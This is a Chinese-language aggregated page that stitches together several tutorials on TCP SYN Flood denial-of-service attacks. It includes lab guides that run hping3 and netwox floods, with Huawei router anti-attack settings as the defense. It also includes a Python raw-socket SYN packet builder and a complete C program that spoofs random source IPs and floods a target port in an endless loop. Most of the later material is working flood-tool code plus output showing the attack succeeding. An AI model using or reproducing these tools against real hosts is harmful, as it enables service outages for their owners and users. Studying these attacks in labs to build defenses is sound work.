精华内容
下载资源
问答
  • TCP协议SYN Flood攻击,这种攻击方式虽然原始,但是生命力顽强,长久以来在DDoS圈里一直处于德高望重的地位。SYN Flood攻击的影响也不容小觑,从攻击中可以看到,以SYN Flood为主的数十G流量,很容易就造成被攻击...
  • TCP SYN Flood攻击与防御实验

    千次阅读 2020-11-05 09:35:02
    DoS(拒绝服务攻击) DDoS(分布式拒绝服务攻击) ...TCP-SYN Flood攻击又称半开式连接攻击,每当我们进行一次标准的TCP连接,都会有一个三次握手的过程,而TCP-SYN Flood在它的实现过程中只有前两个步骤。这样,服务

    DoS(拒绝服务攻击)
    DDoS(分布式拒绝服务攻击)
    TCP SYN Flood(TCP SYN洪攻击 flood 洪水,泛滥)

    什么是SYN泛洪攻击:

    利用TCP三次握手协议,大量与服务器建立半连接,服务器默认需要重试5次,耗时63s才会断开接,这样,攻击者就可以把服务器的syn连接队列耗尽,让正常的连接请求不能处理。
    TCP-SYN Flood攻击又称半开式连接攻击,每当我们进行一次标准的TCP连接,都会有一个三次握手的过程,而TCP-SYN Flood在它的实现过程中只有前两个步骤。这样,服务方会在一定时间处于等待接收请求方ACK消息的状态。由于一台服务器可用的TCP连接是有限的,如果恶意攻击方快速连续地发送此类连接请求,则服务器可用TCP连接队列很快将会阻塞,系统资源和可用带宽急剧下降,无法提供正常的网络服务,从而造成拒绝服务。
    在这里插入图片描述

    一、实验目的

    希望学生可以掌握TCP SYN Flood攻击的原理与防御方法。

    二、实验拓扑图搭建

    在这里插入图片描述

    三、实验步骤

    1、kali网络进行相关修改

    拓扑图内两个路由器ip配置完成后,打开VMware开启kali,并将kali的网络修改为“仅主机模式”

    (1)开启kali在我的计算机里找到kali,右击 点击【设置】

    在这里插入图片描述

    (2)在网络适配器这里设置为仅主机模式

    在这里插入图片描述

    (3)kali网络生效后使用ifconfig命令查看kali网络在哪个网段

    在这里插入图片描述

    2、云(cloud)设备配置

    (双击打开云设备配置界面)
    注:这里选择的网卡是自己虚拟机的网卡(即VM ware的网卡)
    这里点击后网卡会出现网段,可根据kali网络生效后的网段直接选择我们需要的网卡
    在这里插入图片描述

    在这里插入图片描述

    在这里插入图片描述

    关闭云配置窗口就会发现cloud出现了可连接端口,按照拓扑图规划,连接好设备

    3、路由器ip配置

    这里的IP根据我们拓扑图的规划直接配置就可以 相关配置略
    注:这里之所以配置为192.168.26.X是根据我们cloud映射的网卡,将拓扑图与自己的虚拟机设置为一个小型局域网

    4、ensp虚拟机内使用ping命令检测网络连通性

    使用路由器1ping路由器2 路由器1ping我们刚才开启kali 来测试网络的联通性
    在这里插入图片描述
    在这里插入图片描述

    5、R1开启telnet服务,并配置密码

    [R1]telnet server enable 开启telnet服务
    [R1]telnet server port 23
    [R1]user-interface vty 0 4 进入远程登陆接口(可以登录5个人)
    [R1-ui-vty0-4]user privilege level 15
    [R1-ui-vty0-4]authentication-mode password 认证模式为密码认证
    [R1-ui-vty0-4]set authentication password simple 360创建一个明文的,密码为360的密码
    在这里插入图片描述

    6、R2远程登录R1

    注:这里telnet连接登录时只能在视图模式下,不能再系统命令模式下
    telnet 192.168.26.6

    在这里插入图片描述

    7、在kali中,使用hping3工具进行TCP SYN Flood攻击

    hping3 -S --flood -p 23 192.168.26.6
    参数解释:-S:指将TCP SYN字段置为1, -p 为目的端口

    8、在交换机上对与R1相连的接口进行数据抓包,观察数据包

    在这里插入图片描述

    可以看到大量TCP SYN的数据包
    打开R2的命令框,发现远程连接的R1设备无法输入命令,不能执行任何操作。这里就成功实施了一次DDOS攻击,导致系统资源和可用带宽急剧下降,无法提供正常的网络服务,从而造成拒绝服务。
    在这里插入图片描述

    9、进入R1 进行相关配置做TCP SYN flood的攻击防范

    system-view
    [R1]anti-attack tcp-syn enable
    注:这里如果已经开启了会报错,没有开启的不hi报错
    [R1]anti-attack tcp-syn car cir 8000 限制TCP SYN报文接收的速率
    注:缺省情况下,TCP SYN报文接收的速率为155000000bit/s。这里将接受速率修改为8000
    在这里插入图片描述

    9.1、查看分片报文攻击的统计数据。

    display anti-attack statistics tcp-syn
    在这里插入图片描述

    注:这里的数据是历史已经攻击的数据,也就是刚才我们使用kali攻击后的数据

    9.2、查看分片报文攻击的统计数据。

    reset anti-attack statistics tcp-syn
    display anti-attack statistics tcp-syn

    在这里插入图片描述

    10、再次发起攻击并检验攻击效果

    10.1、再次使用kali发起TCP SYN Flood攻击

    kali内输入以下命令:
    hping3 -S --flood -p 23 192.168.26.6

    10.2、在R1里查看分片报文攻击的统计数据。

    在这里插入图片描述

    这里我们可以看到总攻击的数据包数量为81149,丢弃包的数量为80379,通过包的数量为770,TCP SYN flood攻击防范成功

    四、实验结果

    实验步骤中已有,自己进行总结
    

    五、实验总结

    本实验主要对TCP SYN Flood进行演示,同时通过在路由和交换设备的配置,完成了对TCP SYN Flood的防御。
    通过本次实验学生应该掌握TCP SYN Flood的原理以及防御手段。
    注:上交实验报告实验总结必须自己写,严禁照搬照抄

    展开全文
  • TCP SYN Flood攻击实验:

    2020-12-17 12:38:50
    ​ 使用攻击机对靶机的telnet协议进行TCP SYN Flood攻击。目的是使靶机资源耗尽,无法被远程登录。此攻击对基于TCP的HTTP协议同样生效。 0x02 环境介绍: ​ 攻击机:Kali linux ​ 靶机:ubuntu 20.04 ​ ...

    TCP SYN Flood攻击实验:

    0x01 攻击目的:

    ​ 使用攻击机对靶机的telnet协议进行TCP SYN Flood攻击。目的是使靶机资源耗尽,无法被远程登录。此攻击对基于TCP的HTTP协议同样生效。

    0x02 环境介绍:

    ​ 攻击机:Kali linux

    ​ 靶机:ubuntu 20.04

    ​ 存在形式:vmware之虚机

    ​ 联网方式:NAT

    ​ IP地址:

    ​ Gateway:192.168.8.2/24

    ​ Kali linux:192.168.8.128/24

    ​ Ubuntu20.04:192.168.8.130/24

    0x03 攻击机和靶机的系统状态

    ​ 攻击机:攻击机保持默认状态,无需做额外设置。

    ​ 靶机:

    ​ 靶机安装openbsd-inetd:

    root@francis:/# apt-get install openbsd-inetd
    

    ​ 靶机安装telnetd:

    root@francis:/# apt-get install telnetd
    

    ​ 靶机关闭syncookies功能:

    root@francis:/proc/sys/net/ipv4# echo "0" > tcp_syncookies
    root@francis:/proc/sys/net/ipv4# cat tcp_syncookies 
    0
    

    注:关于syncookie
    SYN Cookie是对TCP服务器端的三次握手协议做的一些修改,专门用来防范SYN Flood攻击的一种手段。它的原理是,在TCP服务器收到TCP SYN包并返回TCP SYN+ACK包时,不分配一个专门的数据区(这样就不会消耗服务器端资源),而是根据这个SYN包计算出一个cookie值。在收到TCP ACK包时,TCP服务器在根据那个cookie值检查这个TCP ACK包的合法性。如果合法,再分配专门的数据区进行处理未来的TCP连接。
    因此本实验中需要将其关闭,才可以实现攻击效果。

    ​ 重启openbsd-inetd服务:

    root@francis:/# systemctl restart openbsd-inetd
    

    ​ 确认telnet协议端口开放状态:看到LISTEN为正常

    root@francis:/# netstat -a | grep telnet
    tcp        0      0 0.0.0.0:telnet          0.0.0.0:*               LISTEN 
    

    0x04 攻击过程

    ​ 攻击机执行如下命令:

    root@kali:~# netwox 76 -i "192.168.8.130" -p "23"
    

    ​ 攻击之前的靶机状态:可以正常登录

    在这里插入图片描述

    ​ 攻击之后的靶机状态:无法正常登录
    在这里插入图片描述

    ​ 攻击之后的靶机telnet连接数:
    在这里插入图片描述

    ​ 攻击时抓到的报文:
    在这里插入图片描述

    攻击时由于火力太猛,导致电脑风扇啸叫。

    扛不住!赶紧关!

    展开全文
  • Python实现SYN Flood攻击

    千次阅读 2015-11-24 20:47:38
    SYN Flood是当前最流行的DoS(拒绝服务攻击)与DDoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式。...

     0×00 背景

    SYN Flood是当前最流行的DoS(拒绝服务攻击)与DDoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式。

    0×01 Code

    本文章的目是介绍使用python构造packet的方法。
    使用raw socket来发送packets。 该程序只适用于Linuxwindows可以尝试调用winpcap。

     
    '''
        Syn flood program in python using raw sockets (Linux)
        
        Silver Moon (m00n.silv3r@gmail.com)
    '''
     
    # some imports
    import socket, sys
    from struct import *
     
    # checksum functions needed for calculation checksum
    def checksum(msg):
        s = 0
        # loop taking 2 characters at a time
        for i in range(0, len(msg), 2):
            w = (ord(msg[i]) << 8) + (ord(msg[i+1]) )
            s = s + w
        
        s = (s>>16) + (s & 0xffff);
        #s = s + (s >> 16);
        #complement and mask to 4 byte short
        s = ~s & 0xffff
        
        return s
     
    #create a raw socket
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
    except socket.error , msg:
        print 'Socket could not be created. Error Code : ' + str(msg[0]) +' Message ' + msg[1]
        sys.exit()
     
    # tell kernel not to put in headers, since we are providing it
    s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
        
    # now start constructing the packet
    packet = '';
     
    source_ip = '192.168.1.101'
    dest_ip = '192.168.1.1' # or socket.gethostbyname('www.google.com')
     
    # ip header fields
    ihl = 5
    version = 4
    tos = 0
    tot_len = 20 + 20  # python seems to correctly fill the total length, dont know how ??
    id = 54321  #Id of this packet
    frag_off = 0
    ttl = 255
    protocol = socket.IPPROTO_TCP
    check = 10  # python seems to correctly fill the checksum
    saddr =socket.inet_aton ( source_ip )  #Spoof the source ip address if you want to
    daddr = socket.inet_aton ( dest_ip )
     
    ihl_version = (version << 4) + ihl
     
    # the ! in the pack format string means network order
    ip_header = pack('!BBHHHBBH4s4s', ihl_version, tos, tot_len, id, frag_off, ttl, protocol, check, saddr, daddr)
     
    # tcp header fields
    source = 1234   # source port
    dest = 80   # destination port
    seq = 0
    ack_seq = 0
    doff = 5    #4 bit field, size of tcp header, 5 * 4 = 20 bytes
    #tcp flags
    fin = 0
    syn = 1
    rst = 0
    psh = 0
    ack = 0
    urg = 0
    window = socket.htons (5840)    #   maximum allowed window size
    check = 0
    urg_ptr = 0
     
    offset_res = (doff << 4) + 0
    tcp_flags = fin + (syn << 1) + (rst << 2) + (psh <<3) +(ack << 4) + (urg << 5)
     
    # the ! in the pack format string means network order
    tcp_header = pack('!HHLLBBHHH', source, dest, seq, ack_seq, offset_res, tcp_flags,  window, check, urg_ptr)
     
    # pseudo header fields
    source_address = socket.inet_aton( source_ip )
    dest_address = socket.inet_aton(dest_ip)
    placeholder = 0
    protocol = socket.IPPROTO_TCP
    tcp_length = len(tcp_header)
     
    psh = pack('!4s4sBBH', source_address , dest_address , placeholder , protocol , tcp_length);
    psh = psh + tcp_header;
     
    tcp_checksum = checksum(psh)
     
    # make the tcp header again and fill the correct checksum
    tcp_header = pack('!HHLLBBHHH', source, dest, seq, ack_seq, offset_res, tcp_flags,  window, tcp_checksum , urg_ptr)
     
    # final full packet - syn packets dont have any data
    packet = ip_header + tcp_header
     
    #Send the packet finally - the port specified has no effect
    s.sendto(packet, (dest_ip , 0))    # put this in a loop if you want to flood the target
     
    #put the above line in a loop like while 1: if you want to flood

    注意:运行时需要Root权限。

    展开全文
  • TCP协议是 TCP/IP 协议栈中一个重要的协议,平时我们使用的浏览器,APP等大多使用 TCP 协议通讯的,可见 TCP 协议在网络中扮演的角色是多么的重要。 TCP 协议是一个可靠的、面向连接的流协议,由于 TCP 协议是建立...

    TCP协议是 TCP/IP 协议栈中一个重要的协议,平时我们使用的浏览器,APP等大多使用 TCP 协议通讯的,可见 TCP 协议在网络中扮演的角色是多么的重要。

    TCP 协议是一个可靠的、面向连接的流协议,由于 TCP 协议是建立在 IP 协议这种面向无连接的协议,所以 TCP 协议必须自己来维护连接的状态。

    三次握手过程

    TCP 协议通过一种名为 三次握手 的过程来建立客户端与服务端的连接,三次握手 过程的原理如图1:

    图片

    (图一 三次握手过程)

    建立连接三次握手过程如下:

    • 客户端需要发送一个 SYN包 给服务端(包含了客户端初始化序列号),并且将连接的状态设置为 SYN_SENT,这个过程由 connect() 系统调用完成。

    • 服务端接收到客户端发送过来的 SYN包 后,回复一个 SYN+ACK包 给客户端(包含了服务端初始化序列号),并且设置连接的状态为 SYN_RCVD

    • 客户端接收到服务端发送过来的 SYN+ACK包 后,设置连接状态为 ESTABLISHED(表示连接已经建立),并且回复一个 ACK包 给服务端。

    • 服务端接收到客户端发送过来的 ACK包 后,将连接状态设置为 ESTABLISHED(表示连接已经建立)。

    三次握手 过程完成后,一个 TCP 连接就此建立完成。

    SYN Flood攻击原理

    上面介绍了建立一个 TCP 连接的 三次握手 过程,我们可以发现,三次握手 属于一个协商的过程,也就是说客户端与服务端必须严格按照这个过程来进行,否则连接就不能建立。

    这时,如果客户端发送 SYN包 企图与服务端建立连接,但发送完 SYN包 后就不管,那会发送什么事情呢?如图2所示:

    图片

    (图2 SYN-Flood)

    客户端发送一个 SYN包 给服务端后就退出,而服务端接收到 SYN包 后,会回复一个 SYN+ACK包 给客户端,然后等待客户端回复一个 ACK包

    但此时客户端并不会回复 ACK包,所以服务端只能一直等待直到超时。服务端超时后,会重发 SYN+ACK包 给客户端,默认会重试 5 次,而且每次等待的时间都会增加(可以参考 TCP 协议超时重传的实现)。

    另外,当服务端接收到 SYN包 后,会建立一个半连接状态的 Socket。所以,当客户端一直发送 SYN包,但不回复 ACK包,那么将会耗尽服务端的资源,这就是 SYN Flood 攻击

    SYN Flood攻击实验

    接下来,我们通过自己编写代码来进行 SYN Flood攻击 实验。

    因为 SYN Flood攻击 需要构建 TCP 协议头部,所以下面介绍一下 TCP 协议头部的格式,如图3:

    图片

    (图3 TCP 协议头部格式)

    我们定义以下结构来描述 TCP 协议头部:

    struct tcphdr {    unsigned short      sport;    // 源端口    unsigned short      dport;    // 目标端口    unsigned int        seq;      // 序列号    unsigned int        ack_seq;  // 确认号    unsigned char       len;      // 首部长度    unsigned char       flag;     // 标志位    unsigned short      win;      // 窗口大小    unsigned short      checksum; // 校验和    unsigned short      urg;      // 紧急指针};

    下面是设置 TCP 头部的过程:

    • 标志位中的 SYN 字段必须设置为 1,表示这是一个 SYN包,由于 SYN位 位于 flag 字段的第二位,所以可以将 flag 字段设置为 0x02

    • 源端口号和序列号我们可以随机设置一个,目的端口号设置成要攻击的目标端口。

    • 确认号设置为 0,因为我们还不知道服务端的序列号。

    • 窗口大小可以随便设置,但通常不要设置太小(可以设置成1024)。

    • 校验和这个比较复杂,因为 TCP 协议在计算检验和时,要加上一个12字节的伪首部,伪首部格式如下图:

      • 图片

      • 伪首部共有 12 字节,包含 IP 协议头部的一些字段,有如下信息:32位源IP地址32位目的IP地址8位保留字节(置0)8位传输层协议号(TCP是6,UDP是17)16位TCP报文长度(TCP首部+数据)

      • TCP 协议校验和计算三部分:TCP伪首部 + TCP头部 + TCP数据

    • 紧急指针可以设置为 0。

    按照上面的分析,定义 TCP 伪首部的结构如下:

    struct pseudohdr {    unsigned int        saddr;    unsigned int        daddr;    char                zeros;    char                protocol;    unsigned short      length;};

    计算校验和的算法有点复杂,所以这里直接从网上找到一个封装好的函数,如下(有兴趣可以参考 TCP 协议的 RFC 文档):

    unsigned short inlinechecksum(unsigned short *buffer, unsigned short size)     {      unsigned long cksum = 0;
        while (size > 1) {        cksum += *buffer++;        size  -= sizeof(unsigned short);    }
        if (size) {        cksum += *(unsigned char *)buffer;    }
        cksum = (cksum >> 16) + (cksum & 0xffff);    cksum += (cksum >> 16);     
        return (unsigned short )(~cksum);}

    另外,为了在攻击的时候能够设置不同的 IP 地址(因为相同的 IP 地址容易被识别而过滤),我们还需要定义 IP 协议头部。IP 协议头部的格式如图4:

    图片

    (图4 IP 协议头部)

    我们定义以下结构来表示 IP 协议头部:

    struct iphdr {    unsigned char       ver_and_hdrlen;// 版本号与IP头部长度    unsigned char       tos;           // 服务类型    unsigned short      total_len;     // 总长度    unsigned short      id;            // IP包ID    unsigned short      flags;         // 标志位(包括分片偏移量)    unsigned char       ttl;           // 生命周期    unsigned char       protocol;      // 上层协议    unsigned short      checksum;      // 校验和    unsigned int        srcaddr;       // 源IP地址    unsigned int        dstaddr;       // 目标IP地址};

    1. 初始化 IP 头部

    下面我们实现初始化 IP 头部的函数 init_ip_header()

    void init_ip_header(struct iphdr *iphdr, unsigned int srcaddr, unsigned int dstaddr){    int len = sizeof(struct ip) + sizeof(struct tcphdr);
        iphdr->ver_and_hdrlen = (4 << 4 | sizeof(struct iphdr) / sizeof(unsigned int));    iphdr->tos = 0;    iphdr->total_len = htons(len);    iphdr->id = 1;    iphdr->flags = 0x40;    iphdr->ttl = 255;    iphdr->protocol = IPPROTO_TCP;    iphdr->checksum = 0;    iphdr->srcaddr = srcaddr; // 源IP地址    iphdr->dstaddr = dstaddr; // 目标IP地址}

    init_ip_header() 函数比较简单,就是通过传入的源 IP 地址和目标 IP 地址初始化 IP 头部结构。

    2. 初始化 TCP 头部

    接下来,我们要实现初始化 TCP 头部的函数 init_tcp_header()

    void init_tcp_header(struct tcphdr *tcphdr, unsigned short dport){    tcp->sport = htons(rand() % 16383 + 49152);   // 随机生成一个端口    tcp->dport = htons(dport);                    // 目标端口    tcp->seq = htonl(rand() % 90000000 + 2345 );  // 随机生成一个初始化序列号    tcp->ack_seq = 0;     tcp->len = (sizeof(struct tcphdr) / 4 << 4 | 0);    tcp->flag = 0x02;    tcp->win = htons(1024);      tcp->checksum = 0;    tcp->urg = 0;}

    3. 初始化 TCP 伪首部

    现在我们定义一个 TCP 伪首部初始化函数 init_pseudo_header()

    void init_pseudo_header(struct pseudohdr *hdr, unsigned int srcaddr,                         unsigned int dstaddr){    hdr->zero = 0;    hdr->protocol = IPPROTO_TCP;    hdr->length = htons(sizeof(struct tcphdr));    hdr->saddr = srcaddr;    hdr->daddr = dstaddr;}

    4. 构建 SYN 包

    接下来我们要实现最为重要的一个函数,就是构建 SYN包,其实现如下:

    int make_syn_packet(char *packet, int pkt_len, unsigned int daddr,                     unsigned short dport){    char buf[100];    int len;    struct iphdr ip;             // IP 头部    struct tcphdr tcp;           // TCP 头部    struct pseudohdr pseudo;     // TCP 伪头部    unsigned int saddr = rand(); // 随机生成一个源IP地址
        len = sizeof(ip) + sizeof(tcp);
        // 初始化头部信息    init_ip_header(&ip, saddr, daddr);    init_tcp_header(&tcp, dport);    init_pseudo_header(&pseudo, saddr, daddr);
        //计算IP校验和    ip.checksum = checksum((u_short *)&ip, sizeof(ip));
        // 计算TCP校验和    bzero(buf, sizeof(buf));    memcpy(buf , &pseudo, sizeof(pseudo));           // 复制TCP伪头部    memcpy(buf + sizeof(pseudo), &tcp, sizeof(tcp)); // 复制TCP头部    tcp.checksum = checksum((u_short *)buf, sizeof(pseudo) + sizeof(tcp));
        bzero(packet, pkt_len);    memcpy(packet, &ip, sizeof(ip));    memcpy(packet + sizeof(ip), &tcp, sizeof(tcp));        return len;}

    make_syn_packet() 函数主要通过 目标IP地址目标端口 生成一个 SYN包,保存到参数 packet 中,并且返回包的大小。

    5. 创建原始套接字

    由于要发送自己构建的 IP 头部和 TCP 头部,所以必须使用 原始套接字 来发送。原始套接字 在创建时需要指定 SOCK_RAW 参数,下面我们定义一个创建原始套接字的函数:

    int make_raw_socket(){    int fd;    int on = 1;
        // 创建一个原始套接字, 指定其关注TCP协议    fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);    if (fd == -1) {        return -1;    }
        // 设置需要手动构建IP头部    if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {        close(fd);        return -1;    }
        return fd;}

    在调用 socket() 函数创建套接字时,指定第二个参数为 SOCK_RAW,表示创建的套接字为原始套接字。然后调用 setsockopt() 函数设置 IP 头部由我们自己构建。

    6. 发送SYN包

    下面我们实现发送 SYN包 的函数:

    int send_syn_packet(int sockfd, unsigned int addr, unsigned short port){    struct sockaddr_in skaddr;    char packet[256];    int pkt_len;
        bzero(&skaddr, sizeof(skaddr));
        skaddr.sin_family = AF_INET;    skaddr.sin_port = htons(port);    skaddr.sin_addr.s_addr = addr;
        pkt_len = make_syn_packet(packet, 256, addr, port);
        return sendto(sockfd, packet, pkt_len, 0, (struct sockaddr *)&skaddr,                  sizeof(struct sockaddr));}

    send_syn_packet() 函数需要传入原始套接字、目标IP地址和目标端口,然后通过调用 sendto() 函数向服务端发送一个 SYN包

    7. 主函数

    最后,我们来实现主函数 main()

    int main(int argc, char *argv[]){    unsigned int addr;    unsigned short port;    int sockfd;
        if (argc < 3) {        fprintf(stderr, "Usage: synflood <address> <port>\n");        exit(1);    }
        addr = inet_addr(argv[1]);  // 获取目标IP    port = atoi(argv[2]);       // 获取目标端口
        if (port < 0 || port > 65535) {        fprintf(stderr, "Invalid destination port number: %s\n", argv[2]);        exit(1);    }
        sockfd = make_raw_socket(); // 创建原始socket    if (sockfd == -1) {        fprintf(stderr, "Failed to make raw socket\n");        exit(1);    }
        for (;;) {        if (send_syn_packet(sockfd, addr, port) < 0) { // 发送SYN包            fprintf(stderr, "Failed to send syn packet\n");        }    }
        close(sockfd);
        return 0;}

    main() 函数也很简单,首先从命令行读取到 目标 IP 地址目标端口,然后调用 make_raw_socket() 创建一个原始套接字,最后在一个无限循环中不断向服务端发送 SYN包

    完整的源代码在:https://github.com/liexusong/synflood/blob/main/synflood.c


    现在我们通过以下命令来编译这个程序:

    root@vagrant]$ gcc -o synflood synflood.c

    然后使用以下命令运行程序:

    root@vagrant]$ sudo synflood 127.0.0.1 80

    上面的命令就是攻击本地的80端口,我们可以使用以下命令查看TCP连接的状态:

    root@vagrant]$ netstat -np|grep tcp

    tcp        0      0 127.0.0.1:80            229.20.1.110:51861      SYN_RECV    -tcp        0      0 127.0.0.1:80            239.137.18.30:52104     SYN_RECV    -tcp        0      0 127.0.0.1:80            233.90.28.10:65322      SYN_RECV    -tcp        0      0 127.0.0.1:80            236.13.8.74:57922       SYN_RECV    -tcp        0      0 127.0.0.1:80            229.81.76.55:52345      SYN_RECV    -tcp        0      0 127.0.0.1:80            236.226.188.82:53560    SYN_RECV    -tcp        0      0 127.0.0.1:80            236.245.238.56:49499    SYN_RECV    -tcp        0      0 127.0.0.1:80            224.222.45.20:49270     SYN_RECV    -tcp        0      0 127.0.0.1:80            230.2.130.115:63709     SYN_RECV    -tcp        0      0 127.0.0.1:80            239.233.180.85:59636    SYN_RECV    -tcp        0      0 127.0.0.1:80            236.168.175.81:60326    SYN_RECV    -tcp        0      0 127.0.0.1:80            235.27.77.111:65276     SYN_RECV    -tcp        0      0 127.0.0.1:80            236.4.252.114:60898     SYN_RECV    -tcp        0      0 127.0.0.1:80            226.62.209.29:64605     SYN_RECV    -tcp        0      0 127.0.0.1:80            232.106.157.82:56451    SYN_RECV    -tcp        0      0 127.0.0.1:80            235.247.175.35:54963    SYN_RECV    -tcp        0      0 127.0.0.1:80            231.100.248.95:58660    SYN_RECV    -tcp        0      0 127.0.0.1:80            228.113.70.57:60157     SYN_RECV    -tcp        0      0 127.0.0.1:80            236.76.245.32:59218     SYN_RECV    -tcp        0      0 127.0.0.1:80            232.76.169.15:50441     SYN_RECV    -tcp        0      0 127.0.0.1:80            236.191.51.34:53060     SYN_RECV    -tcp        0      0 127.0.0.1:80            227.215.119.119:55480   SYN_RECV    -tcp        0      0 127.0.0.1:80            227.185.145.18:56882    SYN_RECV    -tcp        0      0 127.0.0.1:80            234.73.216.62:58793     SYN_RECV    -tcp        0      0 127.0.0.1:80            234.183.17.49:59739     SYN_RECV    -tcp        0      0 127.0.0.1:80            235.233.86.125:55530    SYN_RECV    -tcp        0      0 127.0.0.1:80            229.117.216.112:52235   SYN_RECV    -tcp        0      0 127.0.0.1:80            238.182.168.62:65214    SYN_RECV    -tcp        0      0 127.0.0.1:80            225.88.213.112:62171    SYN_RECV    -tcp        0      0 127.0.0.1:80            225.218.65.88:60597     SYN_RECV    -tcp        0      0 127.0.0.1:80            239.116.219.23:58731    SYN_RECV    -tcp        0      0 127.0.0.1:80            232.99.36.55:51906      SYN_RECV    -tcp        0      0 127.0.0.1:80            225.198.211.64:52338    SYN_RECV    -tcp        0      0 127.0.0.1:80            230.229.104.121:62795   SYN_RECV    -...

    从上面的结果可以看出,服务器已经生成了很多半连接状态的 TCP 连接,表示我们的攻击已经生效。

    总结

    本文主要介绍了 SYN Flood攻击 的原理与实施方式,本文的本意是通过理解攻击原理来更好的防范被攻击,而不是教你怎么去攻击,所以千万别用于恶意攻击、千万别用于恶意攻击、千万别用于恶意攻击(重要的事情讲三次)。

    另外,防止 SYN Flood攻击 的方法很多,这里就不介绍了,有兴趣可以查阅相关的资料。

     

    参考资料:1. https://blog.csdn.net/zhangskd/article/details/11770647

                     2. https://blog.csdn.net/jiange_zh/article/details/50446172

    ------------------------------------------------------------------------------------------------------------------

    #include <stdio.h>
    #include <ctype.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <signal.h>
    #include <sys/time.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <string.h>
    #include <netdb.h>
    #include <errno.h>
    #include <stdlib.h>
    #include <time.h>
    #include <arpa/inet.h>
    
    struct iphdr
    {
        unsigned char       ver_and_hdrlen;// 版本号与IP头部长度
        unsigned char       tos;           // 服务类型
        unsigned short      total_len;     // 总长度
        unsigned short      id;            // IP包ID
        unsigned short      flags;         // 标志位(包括分片偏移量)
        unsigned char       ttl;           // 生命周期
        unsigned char       protocol;      // 上层协议
        unsigned short      checksum;      // 校验和
        unsigned int        srcaddr;       // 源IP地址
        unsigned int        dstaddr;       // 目标IP地址
    };
    
    struct tcphdr
    {
        unsigned short      sport;    // 源端口
        unsigned short      dport;    // 目标端口
        unsigned int        seq;      // 序列号
        unsigned int        ack_seq;  // 确认号
        unsigned char       len;      // 首部长度
        unsigned char       flag;     // 标志位
        unsigned short      win;      // 窗口大小
        unsigned short      checksum; // 校验和
        unsigned short      urg;      // 紧急指针
    };
    
    struct pseudohdr
    {
        unsigned int        saddr;
        unsigned int        daddr;
        char                zeros;
        char                protocol;
        unsigned short      length;
    };
    
    unsigned short inline
    checksum(unsigned short *buffer, unsigned short size)
    {
        unsigned long cksum = 0;
    
        while (size > 1) {
            cksum += *buffer++;
            size  -= sizeof(unsigned short);
        }
    
        if (size) {
            cksum += *(unsigned char *)buffer;
        }
    
        cksum = (cksum >> 16) + (cksum & 0xffff);
        cksum += (cksum >> 16);
    
        return (unsigned short )(~cksum);
    }
    
    void init_ip_header(struct iphdr *ip, unsigned int srcaddr,
                        unsigned int dstaddr)
    {
        int len = sizeof(struct iphdr) + sizeof(struct tcphdr);
    
        ip->ver_and_hdrlen = (4<<4 | sizeof(struct iphdr)/sizeof(unsigned int));
        ip->tos = 0;
        ip->total_len = htons(len);
        ip->id = 1;
        ip->flags = 0x40;
        ip->ttl = 255;
        ip->protocol = IPPROTO_TCP;
        ip->checksum = 0;
        ip->srcaddr = srcaddr; // 源IP地址
        ip->dstaddr = dstaddr; // 目标IP地址
    }
    
    void init_tcp_header(struct tcphdr *tcp, unsigned short dport)
    {
        tcp->sport = htons(rand() % 16383 + 49152);   // 随机生成一个端口
        tcp->dport = htons(dport);                    // 目标端口
        tcp->seq = htonl(rand() % 90000000 + 2345 );  // 随机生成一个初始化序列号
        tcp->ack_seq = 0;
        tcp->len = (sizeof(struct tcphdr) / 4 << 4 | 0);
        tcp->flag = 0x02;
        tcp->win = htons(1024);
        tcp->checksum = 0;
        tcp->urg = 0;
    }
    
    void init_pseudo_header(struct pseudohdr *pseudo, unsigned int srcaddr,
                            unsigned int dstaddr)
    {
        pseudo->zeros = 0;
        pseudo->protocol = IPPROTO_TCP;
        pseudo->length = htons(sizeof(struct tcphdr));
        pseudo->saddr = srcaddr;
        pseudo->daddr = dstaddr;
    }
    
    int make_syn_packet(char *packet, int pkt_len, unsigned int daddr,
                        unsigned short dport)
    {
        char buf[100];
        int len;
        struct iphdr ip;          //IP 头部
        struct tcphdr tcp;        //TCP 头部
        struct pseudohdr pseudo;  //TCP 伪头部
        unsigned int saddr = rand();
    
        len = sizeof(ip) + sizeof(tcp);
    
        // 初始化头部信息
        init_ip_header(&ip, saddr, daddr);
        init_tcp_header(&tcp, dport);
        init_pseudo_header(&pseudo, saddr, daddr);
    
        //计算IP校验和
        ip.checksum = checksum((u_short *)&ip, sizeof(ip));
    
        // 计算TCP校验和
        bzero(buf, sizeof(buf));
        memcpy(buf , &pseudo, sizeof(pseudo));           // 复制TCP伪头部
        memcpy(buf + sizeof(pseudo), &tcp, sizeof(tcp)); // 复制TCP头部
        tcp.checksum = checksum((u_short *)buf, sizeof(pseudo) + sizeof(tcp));
    
        bzero(packet, pkt_len);
        memcpy(packet, &ip, sizeof(ip));
        memcpy(packet + sizeof(ip), &tcp, sizeof(tcp));
    
        return len;
    }
    
    int make_raw_socket()
    {
        int fd;
        int on = 1;
    
        // 创建一个原始套接字, 指定其关注TCP协议
        fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
        if (fd == -1) {
            return -1;
        }
    
        // 设置需要手动构建IP头部
        if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
            close(fd);
            return -1;
        }
    
        return fd;
    }
    
    int send_syn_packet(int sockfd, unsigned int addr, unsigned short port)
    {
        struct sockaddr_in skaddr;
        char packet[256];
        int pkt_len;
    
        bzero(&skaddr, sizeof(skaddr));
    
        skaddr.sin_family = AF_INET;
        skaddr.sin_port = htons(port);
        skaddr.sin_addr.s_addr = addr;
    
        pkt_len = make_syn_packet(packet, 256, addr, port);
    
        return sendto(sockfd, packet, pkt_len, 0, (struct sockaddr *)&skaddr,
                      sizeof(struct sockaddr));
    }
    
